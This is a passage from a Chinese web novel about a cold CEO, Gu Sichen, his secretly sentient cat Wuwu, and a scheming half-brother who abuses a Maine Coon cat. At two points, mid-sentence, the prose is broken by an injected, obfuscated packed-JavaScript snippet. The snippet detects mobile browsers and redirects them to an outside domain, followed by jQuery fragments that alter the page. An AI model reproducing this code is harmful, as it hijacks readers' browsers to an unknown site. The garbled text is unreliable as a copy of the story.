顾司沉又说：“你是不是知道有人要害我，所以提前拍视频留证据？” 吴雪有些羞赧地说：“倒也没这么神通广大，我是不小心碰到的。” 顾司沉打开平板，指着上面的猫爪软件说：“这个软件是不是你安装的？” 吴雪突然不吭声了。 顾司沉：“我感觉有人通过这个软件监视我，盗取我的商业机密。” “才没有！”吴雪大声反驳，“这就是猫猫视频！我才不会做那些坏事情！” 可人听不懂他的解释，顾司沉叹了口气，有些憔悴地说：“我因为这个天天吃不好睡不好，不知道这样的日子什么时候才能到头。” 吴雪急了，扬起脑袋蹭顾司沉脸颊，一边蹭一边说：“人不要怕，猫没有做坏事！我只是太想爸爸妈妈了，所以才装了猫爪视频而已，如果你不喜欢，我、我删掉就是了……” 吴雪说着就打开平板，要删除软件。 猫猫粉色的肉垫按在平板上，长按后出现“移除APP”字样，吴雪正要删除，被顾司沉一把拦住。 “没事的，”看见他的动作，顾司沉微笑着说，“如果你喜欢继续用也行，我没关系的。” 吴雪微微松开右爪，说：“真的？” “真的。”顾司沉语气肯定，可表情看上去却仿佛要碎了。 吴雪绷着张小脸，想浑水摸鱼过去，可不知怎么的，他脑海中又想起人给他提供食物，带他去医院检查身体的种种场景。就像玳瑁憧憬的那样，他现在过上了吃喝不愁的生活，也不会被别的猫欺负，往后猫生都有了保障。 吴雪不是一只毫无经验的猫咪，也从前辈那里听过有些绑定人会虐待猫，给猫吃10块钱一斤的猫粮，把猫关笼子，甚至殴打猫猫等行为。和那些人相比，他的人已经相当负责了。可现在，他却因为自己的隐瞒惹人伤心…… 吴雪知道的，他的人笨是笨了点，可是心肠不坏。他才没有心软，他只是觉得如果人知道他在打视频，那他以后就不用一直躲着人了。 吴雪歪头看人，用商量的语气说：“我可以告诉你，但你要保证不生气。” 顾司沉压根儿听不懂猫在喵喵什么，但他能看出小猫眼中的探究，甚至是商量的语气，试着点了点头。 猫果然又喵了起来，吴雪说：“这个软件是我装的，我用它和家人联系。” 顾司沉回忆起开会时下属的表情，虽然什么都没听懂但依旧继续点头。 “这是猫专用软件，要猫脸识别才能打开。”吴雪说完，把猫脸对准摄像头解锁，弹出了对话框。 软件界面模仿微信，乌乌头像是它的自拍，后面还有半张顾司沉模糊的脸，看背景应该是在书房时偷拍的。左边一列似乎是联系人，没有文字只有头像，难道是因为猫猫不会打字？ 根据这些特征，顾司沉迅速总结出了软件特性——是一款针对养猫家庭开发的，用于猫与猫之间沟通的社交软件。 就在这时，一只猫爪按上屏幕，乌乌点开第一个联系猫的界面，按下视频通话键。 “嘟嘟嘟——” 视频接通了，对面出现了一只长毛白猫。 “不是说一天只有两个小时？你怎么又给我打视频了喵~？喵！”对面的猫被吓了一大跳，看见顾司沉的瞬间，身体仿佛上了发条一样跳出了镜头外。 可屏幕下方还有两只耳朵在晃啊晃，显然好奇得不行。 顾司沉：“……” 他低头看乌乌，问：“对面是你新交的朋友？” 吴雪：“喵喵喵。” 吴雪：“是妈妈。” 果然是乌乌的朋友，顾司沉又问：“什么时候认识的？” 吴雪露出嫌弃的表情：“这是我妈妈，当然从小就认识了。” 乌乌之前是流浪猫，在小区里流浪时有不少猫伙伴，可视频里的猫有工具视频，显然不是流浪猫。顾司沉突然想起小区里之前想拐卖乌乌，和他争抢乌乌的女人。 恰好屏幕里又出现了一只黑色长猫，漆黑的毛发，庞大的身躯，压低的眉眼，看起来非常有压迫感。 多猫家庭，又和乌乌有接触，除了谢总没有第二个人了。也不知道对方通过什么手段接触了乌乌，顾司沉心中警惕，问：“是不是之前在电梯里碰到女人？她还在说服你去她家？” 都什么乱七八糟的？他的人怎么这么笨呢？ “才不是呢！这是我爸爸妈妈！”吴雪给了顾司沉一爪子，懒得再继续下去。 乌乌受到外面坏猫的影响，竟然开始抗拒他这个主人。顾司沉心中升起了强烈的危机感，开始打算讨好猫咪。 可惜他很快就败在了第一步，顾司沉对讨好别人毫无经验。他打小就聪明，出身又优越，从小到大都是别人看他脸色行事，从来没有他讨好别人的时候。 顾司沉上网搜索如何讨好猫咪，出现了各种奇奇怪怪的攻略。 首先是学会用猫语沟通，“嗯喵~”就是我爱你，顾司沉试着叫了一声。独自玩玩具的乌乌立刻支起耳朵，好奇地跑了过来。 顾司沉受到鼓舞，又来了一句：“嗯喵~” 乌乌前爪搭着他膝盖，看表情似乎有些纠结。 关系又进一步了，于是顾司沉又叫了一声。 乌乌露出嫌弃的表情，可最终它妥协了，跳到顾司沉大腿上。 顾司沉低头想和猫贴贴，然而下一刻，猫突然伸出前爪，开始疯狂刨他裤.裆。 顾司沉：？ 他伸手护住敏.感部位站起来，露出难以置信地表情。 “喵！”乌乌被抖在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036191|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上，不满地叫了起来。 怎么回事？不是要尿尿叫他过来帮忙吗？怎么现在又不要了？ 人类可真难伺候，猫不干了。 吴雪哒哒哒地跑开，留下顾司沉一脸震惊愣在原地。 第一条，学猫叫，失败。 接下来几条也全都效果平平，最后作者说，终极讨好猫咪的方式是——舔猫屁股。 “……” 顾司沉直接点了叉，他就不该把希望放在网上。 可如果乌乌不喜欢他，真被别的猫引诱了怎么办？ 每周，顾司沉都会抽时间和顾亭安一起吃饭，可这周顾司沉却忘记了，还是顾亭安主动提起。吃饭时顾司沉也有些心不在焉，顾亭安从来没见过他露出这种表情。 “哥，怎么了？”顾亭安有些担心。 顾司沉：“我觉得乌乌不太喜欢我。” “怎么会？”顾亭安很意外，“乌乌那么乖，而且它不是很亲你吗？” 顾司沉：“它是亲近我，可它也亲近别人。” 顾亭安想了想，确实是这么一回事，乌乌对他自己也很好呢。说起来还是他先认识的乌乌，要不是他猫毛过敏不能养猫，说不定乌乌就是他的孩子了，哪里还有他哥什么事。 “你在想什么？”顾司沉突然抬头，目光犀利。 顾亭安：“……” 他可不敢把那些话说出来，尴尬地笑了笑，又没什么诚意地安慰顾司沉：“哥你别担心，乌乌肯定最喜欢你啦。” 顾司沉表情更凝重了：“我从来都不知道它在想什么，我好像一点儿都没有了解过他。” 顾亭安：“……” 这语气，这表情，听起来简直就像是陷入了感情危机。 顾亭安想了想，建议：“你买个宠物按钮试试呢？乌乌那么聪明，说不定你们可以用按钮沟通。” 当晚顾司沉就把按钮铺了满地，顾亭安也跟过来了，举着手机帮他们拍视频。 【爸爸】 机械女声响起。 顾司沉按了下按钮，说：“爸爸就是我，你叫我时就按爸爸，明白吗？” 小猫别过脑袋，并不搭理他。 顾司沉又按了另一个按钮，说：“吃饭是这个，按一下就可以吃饭，明白了吗？” 猫还是不搭理人，它刚吃过牛肉、大虾、三文鱼，对猫粮没什么兴趣，如果是小鱼干的话还可以勉强吃一吃。 “刚开始都有个适应过程，我看别的博主也是过了很久才学会的，”顾亭安安慰道，“不然再试试小鱼干呢？” 顾司沉把按钮放在地上，说：“小鱼干是这个，按一下就可以吃小鱼干……” 话音未落，猫爪迅速搭上按钮，啪嗒一下按了下去。 顾司沉：“……” 顾亭安哈哈大笑：“我就说乌乌这么聪明，肯定有用。” 虽然有些无语，但这种游戏就是要讲究诚信，既然乌乌按了，顾司沉就给了它一根小鱼干。 吃完鱼干，顾司沉准备教乌乌另外的按钮，手还没动，乌乌已经把按钮按得飞起。 【小鱼干】 【小鱼干】 【小鱼干】 顾司沉：“……” 他严肃地制止：“没有小鱼干了，接下来学其他的。” 可不管他们摆多少按钮出来，乌乌都固执地、一心一意地，只按小鱼干。 顾司沉：“……” 吃完半包鱼干后，顾司沉默默把“小鱼干”按钮收起。 15. 第 15 章 比起沟通问题，还有个问题让顾司沉头疼不已——乌乌不愿意上他的床。 不知是不是之前他不让乌乌进卧室，给乌乌留下了不好的印象，就算他现在特意留门乌乌也不愿意进来。好不容易终于进来，绕了一圈又出去了。 顾司沉加了个猫咪宠物群，询问是否有办法让猫上床睡觉？群友热情地提出各种办法，顾司沉一一尝试，还是没什么用。 乌乌确实很亲人，可它的亲近是单方面的、我行我素的、只允许猫贴人不允许人贴猫。乌乌最喜欢蹭他一身猫毛，然后转身就跑。 顾司沉经常在网上看见猫趴在人身上，或者睡在人枕边的视频。他以为世界上所有小猫都会如此，直到养了乌乌才发现情况完全不是这样的。 洗完澡，顾司沉看着镜子里这张冷漠锋利的脸，第一次对自己外貌产生了不满的情绪。 他长得太凶了，眉骨鼻梁高挺，偏偏眼窝又深，这种组合让他眼神非常具有压迫感。公司里大部分下属被他扫一眼就战战兢兢，怕得不行。 他嘴唇也薄，下颌锋利，小时候一个算命的说他这样的长相薄情冷淡，六亲缘浅。他试着扯动嘴角露出笑容，没有半点儿和颜悦色，只有嘲讽和威胁。 顾司沉放弃让自己看起来更亲和，擦干湿润的头发，去书房处理工作。 明天是顾海鑫生日，按照惯例，顾家小辈生日会回老宅和爷爷奶奶一起过，顾司沉打算今晚先把工作做了，虽然并没有什么紧急情况必须在今夜就处理。 结束工作已是凌晨，凌晨的猫宠群依旧热闹，有人在群里分享了一个猫语翻译器，说软件可以用于猫人对话，目前正在测试阶段，希望大家多多尝试，反馈意见。抽象程度让顾司沉想起了他平板上的猫用社交软件。 虽然觉得不靠谱，但顾司沉还是下载了安装包，准备等乌乌醒了试试。 第二天是个阴天，顾司沉起床时心情有些沉郁。乌乌照例满屋子乱窜，根本不给人和它说话的机会。 直到顾司沉准备离开，乌乌才眼巴巴跟过来，又想和他一起出门。 顾司沉蹲下身摸了摸乌乌脑袋，温柔但不容置疑地说：“这次出门不能带你，你乖乖在家等我，我回来给你吃小鱼干。” 昂贵的定制西装上沾了猫毛，顾司沉已经习以为常，用滚筒随便滚滚就出门了。 顾亭安已经在楼下准备好，和平时背包双肩包的学生气不同，他今天穿了套定制西装，只在大腿上绑了个战术皮包，里面放着人工心脏的备用电池和外接设备，打扮得像个特工。 顾司沉：“你看起来像是要去炸了老宅。” 顾亭安哼了一声：“你懂什么，这是时尚。” 顾司沉没再说话，况且回老宅给父亲过生日，这本来也不是一件值得高兴的事情。 劳斯莱斯一路往北，驶入贸城知名的老牌富人区，通过大门，经过长长的草坪和人工喷泉，最后停在了主宅大门口。出发时天气就很糟糕，到家时天气更差了，中午黑得像是半夜。 一家老少齐聚，貌似和蔼地说着一些毫无营养的场面话。只有姑姑家独女顾时甜正在叛逆期，说话口无遮拦，稍微添了一些人气儿。 “哇，小安哥你今天简直帅死了！”顾时甜刚穿着miumiu最新款，黑长直厌世脸，说起话来咋咋呼呼。 顾亭安终于找到同好，点头道：“还是你有眼光，我哥说我要来炸了老家。” 顾时甜又冲顾司沉挥了挥手：“司沉哥越来越帅了！” 顾司沉点头，随后越过二人进了客厅，小朋友太闹腾，他现在已经和年轻人玩不到一起了。 顾司沉本想躲个清静，但一进来姚婷又过来搭话，还赔礼道歉，说很抱歉因为她弟弟牵扯出这些事情，又说这不关她们母子的事，希望顾司沉收下礼物，别介意云云。 顾司沉不收，姚婷又跑去给顾亭安送礼。 这玩意儿拿着都烫手，顾亭安本来也不缺这些东西，自然也拒绝了。 姚婷又是一通服软道歉，弄得兄弟俩快要下不来台面，才被顾海鑫叫了回去。 “你这继母可真难应付，”顾时甜翻了个白眼，“明明你哥才是受害者，她这一通道歉弄得你哥下不来台，仿佛他才是加害方。” 顾亭安压根儿没想到这一层，有些后怕地说：“那我去提醒一下我哥。” 顾时甜：“司沉哥什么心眼子？还要你提醒？” 也对，他哥这么聪明，什么看不出来？顾亭安“哦”了一声，又重新坐了回去。 姚婷在明面上装完了可怜，又趁着开餐前把顾光耀叫到一旁，语气严肃道：“你老实告诉我，是不是你放账本栽赃顾司沉？” “怎么连您也怀疑我？”顾光耀大感委屈，反驳道，“妈，真不是我弄的，姚涛自己都承认了。更何况，如果真是我出手，会这么容易失败吗？” 姚婷皱眉，觉得这事和自己儿子脱不了干系。早在当年在争夺家产中，她就对儿子的愚蠢有了清晰的认识。 但也因为她深知自己儿子的愚蠢，所以不觉得顾光耀能想出这种主意来，甚至在事情败露后还能把自己摘得干干净净。顾光耀很可能不是主谋，只是给姚涛提供了某种助力。 “行，我相信你，”姚婷放下心来，又叹了口气说，“妈妈不求你有多优秀，别乱搞就行。” 顾光耀没有回答。 姚婷拍了拍他肩膀，语重心长道：“我说的这些话你听进去了吗？” “知道了。”顾光耀嘟哝一声，有些不满。 姚婷交代完这些就进去了，毕竟是丈夫生日，她这个妻子不能离开太久。顾光耀一个人站在花园里，气得一脚踢烂了路边的绣球。 大家都对顾司沉寄予厚望，凭什么就不求他有多优秀？说到底还不是看不起他！ “爸，您帮我个忙吧，”顾光耀找到顾海鑫说，“今天您生日，爷爷肯定会卖您这个面子的。” 中午是一大家人吃饭，三代人远近亲疏各有不同，聊的都是一些不痛不痒的安全话题。 直到宴席过半，顾海鑫清了清嗓子突然说：“爸，光耀年纪也不小了，可这几年在公司也没做出什么成绩。我就想着给他找点儿事情做。恰好司沉不是在收购那个什么独角兽公司？让光耀进去学习您看怎么样？” 顾老爷子眼睛也不眨，只说：“公司的事司沉做主，你问他。” 顾司沉放下餐具，说：“智穹科技的收购已经启动，以后有合适的项目我会考虑他。” 顾光耀不依，继续说：“爷爷，我就想去……” “就按司沉说的办吧，”顾庆良起身道，“我有些累了，你们吃完饭就回吧。” 顾庆良虽然不问集团事务，但权威依旧，董事会那些人都要给他几分面子。更别提家里这些小辈，无人再敢多言。 宴席结束，天边已是乌云压境，随时会降下一场大雨。众人在门口道别，想要赶在下雨前回去。 就在这时，顾海鑫突然过来说：“司沉，弟弟的事情你再考虑考虑，收购就算启动了，让光耀进去还不是你一句话的事情？总比现在什么事情都不做好吧。” 顾司沉：“您有想法，可以让他去您自己的公司。” 顾海鑫废物了一辈子，哪儿还有什么正经的公司？能保持生活水平全靠家族分红，顾司沉这是拐着弯儿骂他废物呢！ 毕竟是当老子的，哪里咽得下这口气，顾海鑫抓住顾司沉手臂，拉下了脸：“顾司沉，你眼里还有没有我这个父亲了？” 一瞬间，上车的人又都下车了，要走的人也不着急了，大家非常有默契地聚集在门口，不约而同地竖起耳朵。 “您喝醉了，”顾司沉扯开他的手，对管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036192|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，“送我父亲上车。” 管家连忙过来搀扶顾海鑫，老管家服务顾家几十年，身体虽然硬朗但委实谈不上健壮，被顾海鑫一把推开，差点儿直接磕在台阶上。 “帮个忙都不愿意，还要推三阻四，”或许是仗着自己生日，再加上喝了酒脑子不清醒，顾海鑫竟然抓着顾司沉领带，踉踉跄跄地把人扯到台阶下，怒道，“顾司沉，你还有没有把我这个爸爸放在眼里？” “轰隆——” 天空传来一声雷响，这场雨终于是落了下来。 豆大的雨点噼里啪啦砸在顾司沉身上，让他冷硬的眉眼越发冷厉。 随后顾司沉抬眸看向众人，平静道：“看够了吗？” 众人皆是一惊，不约而同地移开了视线。 “哥！别感冒了！”顾亭安举着伞过来。 闹剧过半，姚婷终于姗姗来迟，好说歹说把顾海鑫劝了回去，又露出委屈的表情，请顾司沉原谅他们。 顾司沉一言不发，越过众人上了车。 劳斯莱斯如利剑劈开雨幕，车厢后座，空气浓稠得几乎令人窒息。 雨水沿着长柄伞滴滴答答滑落，顾亭安把伞立在一旁，翻了张毛巾想递给顾司沉。 抬头的一瞬，窗外霎时电闪雷鸣，顾司沉冷漠的眉眼被雨水浸透，如刀锋般锐利。 顾亭安其实是有些怕这个大哥的，顾司沉身上的气势不是说他笑一笑就没有了，他的威严已经深入骨髓，早在十几岁时就已经有了雏形，再加上争夺家产时的那些历练，以及接手集团五年的上位者经历，把他锻炼得越发深不可测，气势惊人。 顾亭安喉结滚了滚，小声道：“哥，你擦擦脸吧。” 顾司沉接过毛巾，恢复了温和的语气：“抱歉，刚才吓到你了。” “才没有，”顾亭安替他不平，“爸爸也真是，怎么能这么说你呢！明明都是他的儿子……” 剩下的话他没有说完，因为他意识到顾司沉并不想听。 下雨天大堵车，过了快一个小时才回了家。顾司沉湿淋淋地进了大门，本想直接回卧室，又担心小猫被他身上的雨水弄湿，在客卫洗了个澡才进去。 洗澡前他特意在外面等了一分钟，可乌乌都没有主动出来迎接他。 等他洗完澡出来，乌乌依旧不见身影。几百平米的大平层，小猫有无数种方法隐藏自己。顾司沉本想去找猫，可又觉得没意思，转身回了卧室里。 他想乌乌还是和他不亲，又或者是全天下所有猫都不喜欢和人待在一起。 他设想了许多种可能，可万万没想到走进卧室，竟看见乌乌睡在他被窝里。奶牛猫小小一团，毫无防备地摊开着肚皮，露出自己最脆弱的样子。 顾司沉安静地看了一分多钟，霎时什么情绪都没了。 乌乌一边睡一边砸吧嘴，还时不时嗷嗷两声，仿佛是梦见了什么好吃的东西。 顾司沉想起之前安装的软件，打开猫语翻译器把手机递到乌乌嘴边。猫语输入几秒钟后，屏幕里出现了一行字。 “嗷嗷嗷，真好吃！” 和顾司沉猜测的差不多，小猫连梦里都在吃东西。 顾司沉又试了几次，出现的都是一些类似“小鱼干”“猫条”之类的词。这个软件估计就是按照人类对猫的理解，随机生成猫语，主打一个心理安慰的作用。 顾司沉不愿再自欺欺人，准备卸载软件，乌乌又说了一句话。三秒后，屏幕里出现一行字—— 人，猫会保护你！ 顾司沉一愣，脸上那种漫不经心的表情消失了。不知过了多久，他躺在乌乌旁边，脸颊贴着小猫柔软的身体说：“好，那我靠你保护了。” 猫咪身体柔软而温暖，顾司沉靠着乌乌，不知不觉竟睡着了。 窗外，大雨停歇。 夕阳穿破云层，一片绚烂。 16. 第 16 章 大雨滂沱，顾光耀狼狈地回了家，看见在家吃好喝好的缅因猫，又是一阵气。凭什么连一只猫都比他过得舒心？ 顾光耀把新计划告诉缅因猫，后者一动不动地盯着他，像是一只大型掠食猛兽。 顾光耀一脚踢翻旁边的猫碗，冷冷道：“别给我摆脸色，我知道你能听懂人话。上次失败我还没追究，这次再失败，我不可能再给你好果子吃。” 脏兮兮的猫碗被打翻，十块钱一斤的猫粮长期暴露在空气中，开始发酸发臭。缅因猫不看那些馊掉的猫粮，它跑到厨房打开水龙头喝自来水，从窗户离开了。 一周后，贸城壹号顶楼大平层，顾司沉正在穿戴出席慈善晚宴的礼服。他照例穿了一套深色礼服，唯一不同的是这次胸前一枚猫咪胸针，打破了他过于严肃的气质。 出门前，乌乌又围着他转来转去。 慈善晚宴在露天沙滩上举行，环境和人都不可控，顾司沉不想出意外，把乌乌抱到鞋柜上说：“今天不方便带你，等我回来好吗？” 乌乌：“喵喵！” 乌乌有一双过分灵动的眼睛，哪怕不用猫语翻译器，顾司沉都能听出来这个意思是“不要”。 顾司沉叹了口气，商量道：“那我让保镖带着你，你在旁边看着我行不行？” 乌乌：“喵喵！” 虽是有些不情愿，但勉强答应了。 因为带着乌乌，顾司沉又加派了一倍的私人保安，三辆车一前一后往会场驶去。 会场安排在超五星级酒店的私人沙滩上，主办方或许想营造海边日落的浪漫，可惜今天是阴天，还有下雨的趋势，一群富豪提心吊胆地坐在海边，开始了今天的拍卖会。 顾司沉位置原本在第一排中间，可他不想抢人风头，这次过来只为拍下几幅画作，主动要求调整到了中后排，当然，更重要的是这里可以看见车里的乌乌。 他不常参加这种社交场合，哪怕有意低调还是无法完全避免社交，拍卖开始后依旧有人过来交换名片，直到工作人员多次劝阻终于暂罢。 台上拍卖主持人情绪激昂，顾司沉低头看了眼手里的拍卖名册。下一个藏品就是画家王向云的最新作品，顾司沉接连拍了三幅。 第四幅是四副25cm×25cm的布面油画，名叫《塔希提岛的海岸》，描绘画家在塔希提岛的旅行见闻。油画尺寸不大，内容也只是简单的色块，和前面三幅大画幅油画相比，标价低到6位数。 顾司沉前面一口气拍了三幅，大有全部包揽的架势，虽然这幅组画价格不高，但没人敢夺他心头所好。顾司沉来去匆匆，拍完作品就离了席。 周围的人有些好奇，小声讨论： “他怎么一直在买这个女画家的东西？价值不高，也不出名，随便派个人来都行吧？” “王向云是女的？” “是个年轻的女画家，我见过她的照片，很漂亮。” “啊？难道顾总对他……” 听着众人八卦，旁边有人笑出了声。 “你笑什么笑？”有人问。 “笑你们性缘脑，”女人看了眼自己手上的珠宝，淡淡道，“这你们都不知道？王向云是顾司沉母亲，每次只要有她的作品，顾司沉都会亲自到场带走。” 顾司沉离席时，拍卖会工作人员过来联系他，说稍后会把画送到他家。 同一时间，宴会厅入口旁，顾光耀躲在签名板背后，对着缅因猫：“媒体都过来了，你准备好没有？就是现在！一定要让顾司沉出丑！” 缅因猫举手拜了拜，海面上突然飞来一群海鸥。 顾司沉离开会场，朝着停车场走去。猫咪被保镖留在车上，见他过来，立刻伸出双手拜了起来。 顾司沉加快脚步往前。 头顶的乌云突然散开一道缝隙，金光从层层乌云落下，照亮顾司沉的身影。男人眉目舒展，迈着大长腿款款而来，头顶海鸥盘旋，氛围感十足。 媒体远远看着这一幕，心道原来顾光耀联系他们拍顾司沉，竟然是想拍下大哥英俊帅气的画面？亏他们之前还以为兄弟俩不和，没想到顾光耀竟然偷偷做起了顾司沉的迷弟。 顾光耀等了半天，直到顾司沉上车都没有看见预期的那一幕。还在疑惑，却不料头顶突然一湿。 嗯，下雨了？ 顾光耀无意识地张嘴，有些茫然地仰头。 “啪嗒——” 一坨灰白腥臭的液体落入他嘴中，带着股腐臭鱼腥气，回味有点儿苦。 意识到自己吃了什么后，顾光耀：“………” 恰好媒体刚拍完顾司沉，又意犹未尽地回来拍顾光耀，然后记录下了这一幕。 顾光耀：“……………” 顾司沉对此浑然不知，他回到车上，乌乌突然一头栽进了他怀里。 “乌乌？”顾司沉摸了摸猫咪脑袋，以为乌乌在和他撒娇。可当他喊了好几声，乌乌都没有任何反应。顾司沉心头一沉，吩咐司机去宠物医院。 晚高峰交通拥堵，顾司沉这辆性能优越的顶级豪车，此刻却没有任何用武之地，和五菱宏光一样被堵在一起。 轿车后座，顾司沉抱着乌乌贴近自己胸膛，神情冷峻。就这样过了几分钟，乌乌终于恢复意识，黏糊糊地蹭他手指。 听见顾司沉和宠物医生通话，立刻睁大眼睛，同时拱起后背往后蜷缩身体，表现出了很明显的抗拒。 鉴于乌乌实在抗拒，医生又改口说可以先观察，如果明天乌乌精神还是不好，再去医院也不迟。 顾司沉低头问乌乌：“你身体不舒服，要去医院吗？” 小猫立刻摇头。 顾司沉拇指轻轻拂过猫脑袋，沉默数秒缓声道：“好，那我们回家。” 回家后乌乌身体没有太大变化，只是变得特别黏人，顾司沉手指离开它两秒钟，小猫就迫不及待地追过来求蹭。 顾司沉洗完澡出来，小猫又围着他脚踝转圈圈，被抱起就很温顺地用脑袋贴着他睡衣。 顾司沉是个亲缘很淡的人，和朋友之间也不会过分亲密，他似乎不需要、也不想和别人建立亲密关系。 养猫以前，他觉得养猫是一件非常麻烦的事情。可当他真正开始养猫，当乌乌柔软的脑袋贴着他胸膛，他又觉得这一切都值得了，他心甘情愿承受这一切。 顾司沉守了乌乌一整夜，直到第二天早上醒来，他看见乌乌精神抖擞地跑酷，又叼着小鸟玩具找他玩耍，才终于放下心来，去了办公室。 至于任务失败的缅因猫就没有这么幸运了。顾光耀让顾司沉出丑不成，反而自己吞了一口鸟粪，气得当场就给了缅因猫一脚。 这厮一肚子坏水，挨打了还知道往媒体那边跑。顾光耀不好当面发作，硬着头皮应付媒体。 “我再给你最后一次机会，”回家后，顾光耀对缅因猫说，“你要是再不成功，就给我滚出这个家。” 顾光耀说完，一脚踢翻了猫饭盆，甚至连厨房和洗手间的门都一并关上，连自来水都不让缅因猫喝上一口。 肖冕早已习惯了这样的待遇，头也不回地离开了那里。 他太饿了，身体越来越差，精神力也不如以往。明明吃了很多猫粮，却总不觉得饱，喝了很多水，可还是觉得渴。而且顾光耀按心情放饭，经常几天都不给吃的，要不是肖冕会捕猎，早就饿死了。 顾司沉外出机会不多，且他每次外出身边必有保镖把守。顾光耀也是等了快两周，才终于等到顾司沉考察智穹科技。在顾司沉参观智穹科技最新机器人时，顾光耀带着缅因猫潜进了创业园区里。 智穹科技创始人阮博闻操控着机器，向顾司沉介绍机器人的功能，随后研发工程师又和考察团队谈了许多技术问题。结束时已经接近中午。 “顾总要不用完餐再走？”阮博闻盛情邀约。 顾司沉婉拒了邀约，自从上次外卖腹泻事件后，他的工作餐就改由专门的厨师制作。如非必要，一律不外食。 而且乌乌还在车里，他怕乌乌等得无聊。阮博闻亲自送到门口，双方团队在智穹科技大门处道别。 园区绿化带，顾光耀带着缅因猫躲在草丛里。 烈日炎炎，晒得他满头大汗，几乎中暑。他本是开车来的，但没想到园区不让临时停车，他不过离开了半个小时，车就被贴条拖走，气得他只能顶着大太阳躲在草丛里。 但一想到顾司沉接下来的遭遇，他又觉得这些苦都不算什么了。 看着两方人马在门口道别，顾光耀提醒：“就是现在！让他掉裤子！” 缅因猫忍住疼痛，站起身体。前几天他出门被电动车撞到腿，现在还在隐隐作痛。但即便如此，缅因猫还是伸出双手，对顾司沉发动攻击。 轿车内，奶牛猫安静地躺在小毛毯上休息，不知听见了什么，他突然立起耳朵，警惕地看着绿化带的方向。 保镖：“乌乌别急，顾总马上就出来了。” 奶牛猫反应更大了，在车内上下乱蹿，又伸爪扒窗户想要出去。 顾司沉已经走到了门口，还在和智穹科技的人应酬，再加上乌乌身上系着牵引绳，保镖就打开了窗户，让乌乌趴在窗边看主人。 顾司沉本来还在和阮博闻说话，注意到探出半个脑袋的乌乌，主动道了别，转身大步走向乌乌。 奶牛猫迫不及待伸出双手，顾司沉正要伸手抱它，乌乌却突然身体一软，又栽了下去。 “乌乌？”顾司沉及时接住晕倒的乌乌，抬眸问保镖，“乌乌怎么了？” 保镖吓了一大跳，也很茫然：“乌乌刚才一直在睡觉，察觉到您出来后就很兴奋，我也不知道它怎么突然晕倒了。” 回想起前几次乌乌晕倒的情景，顾司沉没再询问医生，直接吩咐司机：“去宠物医院。” 他不信任林奇，去了另一家高端宠物医院。这家医院是古贸大学兽医院直属，医疗水平名列前茅。 和上次晕倒的情况一样，他们还没到宠物医院乌乌就醒了过来，但精神很虚弱，一个劲儿要亲亲抱抱。 抵达医院，院长已经在门口迎接，立刻带着乌乌去做了一套全身体检。乌乌各项指标正常，暂时无法推测出晕厥的原因，猜测可能是中暑了。 回家时，乌乌已经恢复精神，吃了一顿它最爱的水煮大虾，又开始满屋撒欢。顾司沉心情却迟迟没有好转。 乌乌已经晕倒了两次，不，算上流浪猫时初次见面已经有三次。虽然后面两次很快就醒了，可万一乌乌还会晕倒第四次，万一第四次它醒不过来了呢？ 顾司沉呼吸沉了沉，感到了一股难以言喻的焦躁，不能再继续这样下去了。 孟知过来送文件，看见顾司沉满脸严肃，还以为老板知道了自己弟弟的丑闻。那确实足够丢脸的，自己亲弟弟闹出这种事情，老板生气也正常。 孟知打起十二分精神，就在这时，顾司沉微信叮叮咚咚弹出了一大堆消息。 顾亭安：我靠！太炸裂了！哥，你根本无法想象我看了什么消息！ 顾亭安：[视频]一男子当街脱裤子狂奔！警方：属违反治安管理行为 顾亭安：顾光耀他疯了吗？怎么做出这种事情！ 顾司沉皱眉点开视频，看见顾光耀洋相百出，丑态毕露。他退出视频，有些头疼地想：顾光耀怎么成这样了？ 太难看了，顾司沉给老宅管家打了个电话，嘱咐他最近几天多上心，别让二老气出了病。 可惜已经晚了，老太太好不容易才回家一次，没想到就看见了这种消息。 “简直有伤风化！”隔着电话，顾司沉也能听见奶奶的痛骂，“顾光耀怎么能做出这种事？顾家百年的清正家风啊，就这么被他给毁了！” 谁也不知道顾光耀为什么突然发疯，竟发癫干出这种事情。 顾海鑫也觉得很不可思议，但毕竟是他的孩子，顾海鑫舔着老脸过来求大儿子，想让他帮忙捞捞弟弟。没想到连顾司沉人都见不到，顾海鑫在会客室等了半个小时，顾司沉只派秘书传来一句话：“人要为自己的言行负责。” 潜台词再明显不过，他不会捞顾光耀。但为了家族颜面，顾司沉还是处理了所有网络舆论，以及删除顾光耀有伤风化的视频截图。 目前，他还有更重要的事情要处理——弄清楚乌乌晕倒的原因。 乌乌一共晕倒三次，三次都是在陌生的室外，而不是家或者公司这样的私密领地。 难道是乌乌怕人？不太可能，乌乌其他时间也有外出，可那些时间里并没有不适。 顾司沉一时找不出原因，直接成立了一个特别小组，成员包含刑侦、律师、安保专业人员，进行全方位调查。 这些人都是古贸集团高薪招聘的专业人员，平日里主要处理各种商业间谍、突发危机、秘密调查。 很快，顾司沉就收到了调查报告，乌乌三次晕倒有以下共同点： 一、事发地点均在室外。 二、除第一次晕倒外，第二次、第三次晕倒，在顾司沉外出前乌乌都有强烈的跟随意愿。 三、三次晕倒前，乌乌均举起前爪类似“拜拜”的动作。 四、顾光耀均在现场。 五、事发现场百米范围内，有一只缅因猫出没。 六、现场均有针对人的意外发生，但没有造成明显伤害。 